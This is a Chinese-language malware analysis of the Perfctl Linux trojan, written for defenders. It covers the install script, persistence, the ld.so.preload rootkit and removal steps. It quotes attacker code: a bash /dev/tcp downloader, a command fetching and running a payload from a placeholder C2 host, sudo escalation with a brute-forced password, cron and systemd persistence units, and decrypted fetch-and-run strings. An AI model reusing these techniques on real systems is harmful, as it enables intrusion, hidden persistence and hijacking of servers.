Perfctl 木马分析

Perfctl 木马分析

0x00 结论

0、中招后,会中rootkit,会做权限维持,会自身隐藏等
1、中招后,没有重启过的机器,清除需杀掉所有中招后再启动的进程
2、中招后,重启过的机器,在清除后,需要立马重启
3、需要下载busybox来做清除
4、目前看到的行为是植入各种流量代理,用于挂机赚收益

0x01 来源

看到数台有类似高危命令的机器:

bash -c export VEI=s_{IP};p='IyMhL2Jpbi9iYXNo...

发现初次在执行该命令前,都存在异常登陆,且执行的命令中包含受害者IP、密码等信息,故推断为爆破后植入。

0x02 木马分析

一、安装脚本分析

脚本主要功能:

0、判断是否root如果不是root则sudo到root后执行,用的是爆破成功的密码:

 if [ root != 'root' ] && command -v sudo >/dev/null && echo {password} |sudo -S -l|grep -q ALL;
VEI=s_{IP} 对应被爆破成功的IP

1、shell实现了一个curl

function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80

exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnUser-Agent: curl/7.74.9rnrn" >&3
(while read line; do
[[ "$line" == $'r' ]] && break
done && cat) <&3
exec 3>&-
}

2、只在x86_64上运行

if ! uname -m|grep -q "x86_64";
then
exit
fi

3、创建木马运行目录

mkdir /tmp/.perf.c 2>/dev/null
mkdir /tmp/.xdiag 2>/dev/null

4、判断是否已安装/在运行

标识为:

端口监听:cat /proc/net/tcp|grep -e 44870 -e 63582 -e ':f85e' -e ':af46' -i -q
目录存在:if [ -f /tmp/.xdiag/p ] && [ -e /proc/$(cat /tmp/.xdiag/p) ];

5、未安装则下载安装

curl -A"curl/7.74.9" -s -o /tmp/httpd http://{C2HOST}/checklist.php

执行:

KRI=kr httpd >/dev/null 2>&1 &

二、木马程序分析

行为在vt的沙箱里可以看到一些行为分析:
https://www.virustotal.com/gui/file/22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13/behavior

样本MD5:
656e22c65bf7c04d87b5afbe52b8d800 /root/.config/cron/perfcc

直接运行主程序后,看到的行为有:

1、释放文件

/tmp/.xdiag/int/.e.lock   # 主进程pid文件
/tmp/.apid # 子进程pid 文件
/tmp/.xdiag/ # 主程序运行数据文件,里面有log、tor等相关数据
/bin/.local/bin/* # 常见命令替换及隐藏
/bin/perfcc # 用于服务拉起、计划任务拉起、命令拉起
/root/.config/cron/perfcc # 用于计划任务拉起
/lib/libgcwrap.so # 用于hook
# 计划任务
/etc/cron.d/perfclean
/etc/cron.hourly/perfclean
/etc/cron.daily/perfclean
/var/spool/cron/crontabs/root
# 服务
/etc/systemd/system/kmodaudit.service
/etc/systemd/system/kmodaudit.timer
/lib/libpprocps.so # 主程序 用于.so 恢复控制
/lib/libfsnldev.so # 主程序 用于.so 恢复控制

2、隐藏及维持

a、伪造自身为系统常驻进程名

会把自身复制到/tmp/.perf.c/,再从当前的进程列表中,找到一个服务进程,并复制自身为服务进程文件名。用于混淆视听,这也是为啥/tmp/.perf.c/目录中通常有同样md5的两个2进制文件。

之后再次运行该进程:

Perfctl 木马分析

子进程的pid存放在:/tmp/.apid
每次启动perfctl后,都会更新pid,并且,重命名/tmp/.perf.c/中的文件,通常为常见服务文件名,用于混淆视听。

对应的要伪造的服务进程,会从当前进程列表中取。

Perfctl 木马分析

重新拉起后,对应更新pid和文件名。

Perfctl 木马分析

b、替换常用命令

该程序会修改 /etc/profile,增加对应的环境变量:

export PATH=/bin/.local/bin:$PATH

/bin/.local/bin中,主要是常见用于排查的命令:

Perfctl 木马分析

主要手法是增加grep -v隐藏和木马有关的信息,如运行crontab

Perfctl 木马分析

c、权限维持

1、修改~/.profile
增加/bin/perfcc

test -x /bin/perfcc && FPROF=p /bin/perfcc

2、添加计划任务

# 添加计划任务文件:
-rw-r--r-- 1 root root 22 Aug 20 19:41 /etc/cron.d/perfclean
-rwxr-xr-x 1 root root 17 Aug 20 19:41 /etc/cron.hourly/perfclean
-rwxr-xr-x 1 root root 17 Aug 20 19:41 /etc/cron.daily/perfclean

# 添加计划任务
/var/spool/cron/crontabs/root
# crontab -l
11 * * * * /root/.config/cron/perfcc

3、创建定时服务

# cat /etc/systemd/system/kmodaudit.service
[Unit]
Description=Kernel module perf audit and reporting
Wants=kmodaudit.timer
[Service]
Type=oneshot
RemainAfterExit=yes
Environment=FSYSD=sd
ExecStart=/bin/perfcc
StandardOutput=null
StandardError=null
TimeoutStopSec=1s
TimeoutStartSec=1y
[Install]
WantedBy=multi-user.target

# cat /etc/systemd/system/kmodaudit.timer
[Unit]
Description=Kernel module perf audit and reporting
Requires=kmodaudit.service
[Timer]
Unit=kmodaudit.service
OnCalendar=*-*-* 00,02,04,06,08,10,12,14,16,18,20,22:45:00
AccuracySec=5m
[Install]
WantedBy=timers.target

三、rootkit分析

/etc/ld.so.preload 中增加 /lib/libgcwrap.so

该文件作用有以下作用:

1、隐藏命令返回与主程序相关内容

Perfctl 木马分析

Perfctl 木马分析

当重启后,或者,重新ssh登录上去后,效果更佳,因为对应的tty也被hook了,tab补全都无法补全对应文件夹下内容。

2、利用常驻进程维持权限

中招后,会拉起几个正常的常驻服务,并且在其中,注入恶意.so。

如:

root        1647       1  0 11:48 ?        00:00:00 /usr/sbin/cron -f
root 1698 1 0 11:48 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1753 1 0 11:48 ? 00:00:00 /lib/systemd/systemd-journald
root 1757 1 0 11:48 ? 00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal

Perfctl 木马分析

Perfctl 木马分析

所以,需要把所有已注入的进程全部结束,才能完全清除。

3、恢复自身主程序

当检测到自身被清理后(或许没检测,单纯定时跑,或者注入函数被触发).so注入的进程,会重新写一个木马主程序,并把它跑起来,对应,上面所有的行为,再来一遍。

重启后,几乎所有进程都被注入恶意.so

Perfctl 木马分析

完成清理后,又有主程序被拉起来,通过日志看到写 /tmp/javax64 以及拉起来的主进程是:

"argv":"/sbin/init","target":"/tmp/javax64"

也就是说,直接是 pid:1,写入的/tmp/javax64就是主程序。

0x03 libgcwrap.so 分析

hook函数:

Perfctl 木马分析

被hook的函数有35个,覆盖最常规的操作。

对应分析gwrap_init,发现主要通过:tVpVskzzChOsJMKuA 和 zAdkqhLHYfNAebWBSQLe 来做各种操作。
先解密:tVpVskzzChOsJMKuA,这个变量中存放着各种字符串,但都被加密了:

Perfctl 木马分析

解密后,能看到字符串如下:

'/proc/self/mountinfo
%f %f %f %s %s
/proc/%d/fd
/lib/libgcwrap.so
.xdiag;.perf.c;.dmesg;perfctl;perfcc;libgcwrap.so;ld.so.preload;libfsnldev.so;libpprocps.so;wizlmsh
/tmp/.xdiag/cp
/var/log/wtmp
Welcome back, friend.
/dev/tty
/tmp/.xdiag/wtp
/tmp/javax64
dash
/dev/shm/.dmesg/pds
bash
/tmp/.xdiag/p
/proc/loadavg
/proc/
%s/environ
/proc/%d/environ
/tmp/.xdiag/uid
/tmp/.xdiag/ua
%s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu
/bin/zsh
/tmp/.xdiag/data/tty/%s.%d.%d.%d.%d.txt
LGCEXTR
AAZHDE=1
/proc/%d
serviceroot
/lib/libfsnldev.so
/bin/bash
%.2f %.2f %.2f %s %s
/bin/csh
/tmp/wttwe2
/bin/ksh
/proc
/bin/sh
/run/user/0/bus
echo 1|cat > /tmp/wttwe2
/dev/pts/
/proc/self/fd/%d
/proc/net/tcp6
/dev/shm/libpprocps.so
/dev/shm/.dmesg/ino
/proc/
/proc/net/udp
/usr/bin/sh
/tmp/.xdiag/int/ins
/bin/dash
/etc/ld.so.preload
%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n
servicelgcroot
/lib
/proc/%d/exe
/tmp/wttwe
/proc
HISTFILE=/dev/null
PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d javax64 >/dev/null 2>&1 &
/dev/stderr
/bin/bash
AAZHDE
/proc/stat
/tmp/.xdiag/int/.per.s
/proc/net/unix
LGCTR0-XR
TERM=xterm
44870;44869;63582;56615;48242;4145
/dev/shm/libfsnldev.so
%s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu\n
%s%lu %lu %lu %lu %lu %lu %lu %lu %lu %lu
PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d KRI=kr javax64 >/dev/null 2>&1 &
/proc/net/tcp
%.2f %.2f %.2f %s %s\n
/var/run/utmp
libgcwrap.so
/tmp/.apid
/proc/
/tmp/.xdiag/data/pam/%s.log
%f %f %f %s %s\n
/lib/libpprocps.so
touch /tmp/wttwe2

解密后,对应注册函数映射表:

Perfctl 木马分析

然后就开始各种用函数表和字符串表做事情了:

Perfctl 木马分析

就不详细分析了。

根据上面解密后的字符串dict,配合行为能猜到做了些啥:

/lib/libpprocps.so 是主程序,猜测是复制到/tmp/javax64 然后跑起来。
/lib/libfsnldev.so 也是主程序。
/tmp/wttwe2 /tmp/wttwe 这两个文件也在行为中抓到了,不过没来得及看里面是啥。
44870;44869;63582;56615;48242;4145 为启动后,监听的端口。

0x04 植入目的

在清理过程中,看到过它拉起来一大段bash脚本,decode后,详细看了一下脚本大体做了些什么。

首先,能远控应该是肯定的,理论上是可以下发任务的。

脚本中,看到了这些内容:

  _start_bpn ==> bitping
_start_efm ==> earnfm
_start_rpk ==> Repocket
_start_ipr ==> iproyal
_start_spd ==> SpeedShare
_start_pra ==> proxyrack
_start_pst ==> packetstream
_start_grs ==> 还没实现

补充了一下对应函数安装的东西,看了看,都是些可以把cvm共享出去,作为一些代理,进而盈利的东西。

0x05 清理逻辑

找GPT4写脚本吧,告诉它你要做下面的事情:

0、清除 /etc/ld.so.preload 中的 /lib/libgcwrap.so  /usr/lib/libgcwrap.so1、读取/tmp/.apid 获取 主进程pid2、读取/tmp/.xdiag/int/.e.lock,获取 子进程pid3、清空crontjob 中内容:11 * * * * /root/.config/cron/perfcc4、清空定时计划脚本:/etc/cron.d/perfclean/etc/cron.hourly/perfclean/etc/cron.daily/perfclean/var/spool/cron/crontabs/root5、停止并删除服务/etc/systemd/system/kmodaudit.service、/etc/systemd/system/kmodaudit.timer6、清除/etc/profile中增加的 export PATH=/bin/.local/bin:$PATH7、清除~/.profile中增加的 test -x /bin/perfcc && FPROF=p /bin/perfcc8、删除文件及文件夹 ~/.config/cron/ 、/tmp/.perf.c/、/tmp/.xdiag/、/tmp/.apid、/bin/perfcc、/bin/.local/bin/9、把所有删除的文件,再创建一下,然后用chattr +ia锁住


原文始发于微信公众号(Purpleroc的札记):Perfctl 木马分析

版权声明:admin 发表于 2024年8月23日 下午7:03。
转载请注明:Perfctl 木马分析 | CTF导航

相关文章